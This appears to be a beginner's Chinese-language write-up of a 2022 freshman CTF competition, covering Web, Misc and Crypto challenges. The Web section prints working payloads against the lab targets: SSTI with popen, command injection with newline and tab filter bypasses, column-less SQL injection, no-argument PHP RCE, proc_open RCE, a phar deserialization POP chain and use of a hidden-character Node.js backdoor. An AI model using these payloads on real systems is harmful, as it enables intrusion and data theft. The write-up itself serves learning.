本萌新第二次参加的比赛,毕竟是新生赛,各位师傅都很手下留情了qwq。
我主要做web方向,也做一点简单的Misc和Crypto方向的题,反正就是不看提示和百度基本上做不出来的那种qwq
What is CTF(((
简单说找flag交上去能拿到分,分越高越好(
好像说了跟没说一样
其形式有解题赛、攻防赛、混合赛等
大致流程为参赛队伍通过攻防对抗,程序分析等形式获得提供环境的一串flag 将其交给主办方…
嗯,大致又分成五个方向:Web、Reverse、Pwn、Misc、Crypto(logy)
其实可能还有BlockChain(
嗯,大概就这样
Web: 呃呃呃,就是处理用户到网站之间的各种安全事件( 写后门,内网渗透日穿内网巴拉巴拉((
Crypto:密码学~
Reverse:逆向工程,破解程序获得源代码,从而写外挂(并不)
Pwn:漏洞挖掘提权(来源于俚语:攻破设备或系统
反正本采集完全不会pwn…
Misc:顾名思义,即为杂项,包含图片或者音频隐写、wireshark的流量分析、一些密码的破译等等等等,甚至能够在Misc里玩到音游,学会Misc,你就能成为全栈爷(雾)
雾
Web
soeasyssti
无过滤的ssti jinjia2模板注入,payload:
1 | ?name={{"".__class__.__mro__[1].__subclasses__()[137].__init__.__globals__['popen']('cat flag').read()}} |
获得flag
Aurora{wu_wu_Just_@_Fl@sk_Test!}
刻猫猫
F12打开获得传参点
1 | <!-- |
所以
1 | ?keqingcat=wife |
wifestring(33) “Aurora{GensheN_1s_v3ry_fantastiC}”
原神3.2
这里其实是我先用dirsearch扫了一遍发现的www.zip
然后下载下来解压会发现source.js
是一串jsfuck代码,需要使用提供的网站解码(我也不知道为什么,反正我自己找的是解不出来
1 | [][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]][([][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]((!![]+[])[+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+([][[]]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+!+[]]+(+[![]]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+!+[]]]+(!![]+[])[!+[]+!+[]+!+[]]+(+(!+[]+!+[]+!+[]+[+!+[]]))[(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+([]+[])[([][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]][([][[]]+[])[+!+[]]+(![]+[])[+!+[]]+((+[])[([][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]+[])[+!+[]+[+!+[]]]+(!![]+[])[!+[]+!+[]+!+[]]]](!+[]+!+[]+!+[]+[!+[]+!+[]])+(![]+[])[+!+[]]+(![]+[])[!+[]+!+[]])()([][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]][([][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]((!![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]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]][([][[]]+[])[+!+[]]+(![]+[])[+!+[]]+((+[])[([][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]+[])[+!+[]+[+!+[]]]+(!![]+[])[!+[]+!+[]+!+[]]]](!+[]+!+[]+!+[]+[+!+[]])[+!+[]]+(![]+[])[!+[]+!+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(!![]+[])[+[]]]((!![]+[])[+[]])[([][(!![]+[])[!+[]+!+[]+!+[]]+([][[]]+[])[+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[!+[]+!+[]+!+[]]]()+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+([![]]+[][[]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]](([][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]][([][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]((!![]+[])[+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+([][[]]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+!+[]]+(![]+[+[]])[([![]]+[][[]])[+!+[]+[+[]]]+(!![]+[])[+[]]+(![]+[])[+!+[]]+(![]+[])[!+[]+!+[]]+([![]]+[][[]])[+!+[]+[+[]]]+([][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(![]+[])[!+[]+!+[]+!+[]]]()[+!+[]+[+[]]]+![]+(![]+[+[]])[([![]]+[][[]])[+!+[]+[+[]]]+(!![]+[])[+[]]+(![]+[])[+!+[]]+(![]+[])[!+[]+!+[]]+([![]]+[][[]])[+!+[]+[+[]]]+([][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(![]+[])[!+[]+!+[]+!+[]]]()[+!+[]+[+[]]])()[([][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]((![]+[+[]])[([![]]+[][[]])[+!+[]+[+[]]]+(!![]+[])[+[]]+(![]+[])[+!+[]]+(![]+[])[!+[]+!+[]]+([![]]+[][[]])[+!+[]+[+[]]]+([][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(![]+[])[!+[]+!+[]+!+[]]]()[+!+[]+[+[]]])+[])[+!+[]])+([]+[])[(![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(!![]+[])[+[]]+([][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]()[+!+[]+[!+[]+!+[]]])()) |
打开F12,发现secret.php
点进去发现title处就是flag的前半段
组合一下就是
1 | flag{Tha1_wanna_@n_professional_w3aPon} |
是不是因为没有抽到专武…?
easyrce
CTFShow红包题第二弹复刻(雾)
get传参,只能使用p和.+`等
嗯,那就差不多了
构造PostPoc
1 |
|
网页处传参
1 | cmd= `.+/??p/p?p??????`; |
回显fl3g.txt
直接cat即可
1 | #!/bin/sh |
AURORA{0h_n1c3!}
easyinclude
putenv函数将环境从bin更改,调用函数的时候需要添加绝对路径
如 ls --> /bin/ls
die码如下:
1 |
|
revengessti
ssti模板注入,过滤了单引号、下划线
使用ctfshow366的payload:
1 | ?name={{(abc|attr(request.cookies.a)|attr(request.cookies.b)|attr(request.cookies.c))(request.cookies.d).eval(request.cookies.e)}} |
1 | ""|attr("__class__")相当于 |
这里是使用cookie传参
flag=Aurora{Request_reQuest_@ll_requesT!!}
关于ssti,本萌新其实真的不懂qwq
letmeguess
每日一题的靶场做过一次了,所以比较简单
提示是登录的密码是弱密码,所以可以直接用字典爆(
爆出来的结果就是admin123
然后就可以使用ping了,ping后面可以夹带其他命令,比如ls、cat啥的
这里如果直接使用|ls的话会显示非法语句,说明存在过滤
应该是preg_match型(同样使用%0a绕过
发现
1 | Array |
这个kylin应该就藏有flag
输入cat login.php/index.php发现被过滤
这里的过滤应该是cat / 空格 /两者都有
所以干脆直接全换了:空格换成%09、cat换成nl/echo/tac
1 | [35] => 36 if (isset($_GET['ip']) && $_GET['ip']) { |
1 | ?ip=%0acd%09k*%0als# |
payload:
1 | ?ip=%0acd%09k*%0anl%09f*# |
1 | flag{thAi_is_always_th3re_fOr_y0u} |
Tha1nodeshell
额,这个是不可见字符成的后门,可以通过visual studio code 看见
可以通过这个字符传递参数,执行命令
打开F12
1 | <!--Why Not Try /xman--> |
提示/read 和flag在环境变量内
这里的post file其实是使用post方法传递一个file
不是上传文件…
由于是nodejs,所以可以访问app.js
1 | //thai在这里留了个shell,你能发现吗 |
其实这里也能看得到的,逗号后面空了一个
这里漏掉的字符可以进入checkcommands 执行命令
所以可以使用这个字符执行命令,并且写入一个文件中,再读取即可
1 | network_health?%E3%85%A4=env>1.txt |
大概如此,然后读取1.txt即可
1 | FLAG=Aurora{405a103c-81a1-4956-97f7-0716204d3292} |
another_vn_node
啊这个是取巧做的(
使用CVE-2022-21824进行攻击(
1 | app.use("/flag", (req, res) => { |
submit之后直接查看/flag
Aurora{78929acd-3456-4483-b043-c9c5fa1a5a59}
babysql
喜提-52分,看了提示才知道是无列名注入 omo
提示
1 | 0'union/**/select/**/1,2,group_concat(database_name)/**/from/**/mysql.innodb_table_stats/**/where/**/1='1 |
使用mysql.innodb_table_stats时,不储存列名,这也是为什么叫无列名注入
使用提示爆出库名、表名
1 | 0'union/**/select/**/1,2,group_concat(database_name)/**/from/**/mysql.innodb_table_stats/**/where/**/1='1 |
很明显flag表内的内容就是我们需要的内容,接下来我们要读取它的列
无列名注入的大概意思就是 给表里面的列取个名,然后读取它
根据提示的命令得知过滤了空格,回显位置为3
自己测试发现过滤了#、–+ 所以这里使用了单引号闭合
不要问我怎么测出来的,一个劲的搞时间盲注,我是铸币
1 | 无列名注入需要我们判断表内有多少列 |
1 | 然后取名读取即可 |
hard_rce
hhh,写过的demo里面提到过确实很难,搞不懂,现在再看应该还是这样的
学习一下即可,die码如下
1 |
|
可以看出过滤了很多函数、同时这个preg_replace处限制了我们只能够使用无参数rce(函数嵌套括号)
这就让我想起了之前做的一个题的payload:
1 | var_dump(show_source(next(array_reverse(scandir(pos(localeconv())))))); |
然后一看,var_dump、array、pos、localeconv全被过滤了,寄
但是万幸没有过滤show_source和scandir
可以通过scandir(‘.’)返回的内容使用show_source()显示出来,然后flag应该是在最末尾(这里比较幸运的就是撞对了),可以使用end()读取,所以关键就是构造出那个点(pos(localeconv())就是返回这个点)
而仔细看没有过滤chr
而点又是chr(46),所以这里只需要构造出46就好了
接下来就是借鉴dalao写的wp里面的内容了
1 | uniqid() --> 返回一个随机字符串,是以时间为基础的,所以前几位字符一般不会变化 |
使用burp的intruder模块进行爆破就好了
flag: Aurora{you_are_so_great}
[middle]Jacko说很简单的rce
这道题考察的rce并不是常规的eval
、passthru
等,而是挺少见的一个函数:proc_open
proc_open
的用法:
示例1:
1 |
|
示例2(来自php官方文档):
1 |
|
注意到如果我们有向pipes[0]
写入的情况时,前面proc_open
需要打开php
,pipes[0]
写入我们的内容
回到这题:
1 |
|
是不是很类似上面的示例2?
我们需要向pipes[0]
写入c2
c1
就是我们前面的php
所以这题的payload就是:
1 | ?c1=php&c2=<?php system('cat /f*');?> |
吗?
是,但是对了一半。
因为我们看到前面对c1和c2做出了限制:
1 | if(preg_match('/\s|\$|{/',$c1.$c2)){ |
这里的意思就是preg_match()匹配空格
、$
、{
所以我们的payload不能有这些
绕过空格即可:
1 | %20 |
此处使用\x20
:
1 | ?c1=php&c2=<?=`cat\x20/f*`?> |
利用短标签+反引号命令执行
当然,更加常用的或许是:
1 | ?c1=php&c2=<?=system("cat\x20/*");?> |
[middle-hard]easyyyphar
简单的phar反序列化,刚开始可能找不到哪里可以上传文件,但其实只要访问upload.php
即可找到:
1 |
|
phar不在意其后缀,如果使用png后缀的话直接:phar://folder/filename.png
即可
接下来解决另一件事,怎么写表单:
这里提供一个html页面上传表单:
1 |
|
将phar上传即可,文件放在了/upload/filename
接下来考虑pop链:
1 |
|
这里test我们是不用管的,能够让我们进行rce的在micgo
类内
要触发toString
,那就得先将对象当作字符串使用
而echo
正好有这个功能
所以可以通过qka
的invoke
或者hhh
的desctruct
触发,如果要触发qka
的invoke
,需要将对象当作函数使用,此时hhh
的wakeup
正有此功能
我的pop链是这样的:
1 | micgo::toString() <- qka::invoke() <- hhh::wakeup() |
注意,我们是可以在类里面写construct函数的:
exp.php:
1 |
|
上传时记得将后缀改为png
然后返回index.php:
1 | ?filename=phar://upload/qwq2.png |
Misc
xnheulpb
百度一下题面xnheulpb 发现其名为小鹤双拼
根据打字的方法打出这几个字即可
1 | 例如: |
绝密信息
提示是有标记,所以拖进stegsolve查看
Check in
找出这段文字不和谐的地方即可
1 | Welcome everyone to participate in the 2022 AuroraCTF freshman competition |
题外话:想起自己怎么做这个题的时候就笑死了
day 1: 欸为什么这么长一段英文啊,然后仔细看看,On!y是什么鬼
然后想起星期五的英文
我明白了,然后去对照哪里有不同(其实拖进word就知道了
然后我就很傻的一直用原来的英文输入flag
day 2:躺床上继续想,欸,是不是提交改了之后的英文?
立刻爬起来 一看 所有错误的英文单词能够组成welcome!
那没事了
PING
打开Wireshark查看ping的内容即可
会发现每次ping的最后总会返回一个字符
而露出破绽的地方就在{,是flag的格式(
所以打开查看每一个ping的数据就能找到flag了
图片太多了qwq,懒得保存了
组合一下就是
Aurora{Wh4t_1s_PING?}
Location
推荐使用
exif在线查看一把梭
然后配合
StrongMan
Hint: Faster; Higher; Stronger. Come and see him in all his glory.
Higher处加粗、附件是三张图片,应该是提示修改图片高度
使用010Editor修改即可
修改宽高后即可看到flag:
(第一张图是Aurora{W)
WebShell
既然是webshell,那么hacker肯定需要通过eval函数post一些东西执行命令
然后会回显结果
所以我们直接查查执行的命令以及回显的结果
也就是 http contains c
发现回显的内容是一串base64,解码即可
Barcode
条形码解密,附件是缺失定位码的QRCode、Maxicode、dotcode、pdf417
直接修补定位码、然后全部丢进去Dynamsoft Barcode Reader
这个也是能直接读取pdf的(
结束~
WebShell 2
同样是webshell,所以搜索http contains c
发现hacker是通过上传webshell进行攻击的,同时发现了一个zip文件,使用wireshark可以进行导出
保存为1.zip,打开发现需要密码
所以我们还需要在流量内找压缩包的密码
由于hacker是上传的webshell到服务器内,所以我们需要关注他post的内容是啥
这是很明显的蚁剑流量特征(详见看看蚁剑流量包)
解码出来同样也是蚁剑享有的@ini_set头
所以hacker应该是上传了一个webshell到服务器,然后使用蚁剑连接执行的操作
所以我们对其传参的值需要从第三位开始进行base64 decode(也就是删除前两个字符进行解码)
所以我们一个个找POST请求,并且对传参的值进行解码即可
最后在分组202处找到压缩包的密码:CrazyKFCvivo50
然后解压缩即可
Aurora{Antsword_1s_n0thing_mor3_7han_that}
Crypto
latex喵
latex的每个符号都是由 \一串英文 构成的
找出构成的符号的英文,取其首字母即可
1 | \frac \lambda \alpha \gamma {\cup \alpha \theta \forall \lambda \angle \Gamma |
所以 flag{catflaG}
boxlin’s calculator
嗯,真就直接nc 然后算50个简单的加法就好了(雾
记得准备好计算器
easy_hash
1 | 直接找一个md5在线解密一个个解码 |
DoubleFermat
费马分解(
其实可以偷偷去用yafu或者factordb分解大数
可以将n分解成p、q、r、s
那么phi= (p-1)(q-1)(r-1)(s-1)
然后就是跑脚本
1 | import gmpy2 |
1 | b'Aurora{Just_do_f3rm4t_f4ct0rizat1on_tw1c3}' |
嗯,连带看提示+百度搜索会做的就这么多了,果然我还是太菜了Orz
题目质量很好,明年再来~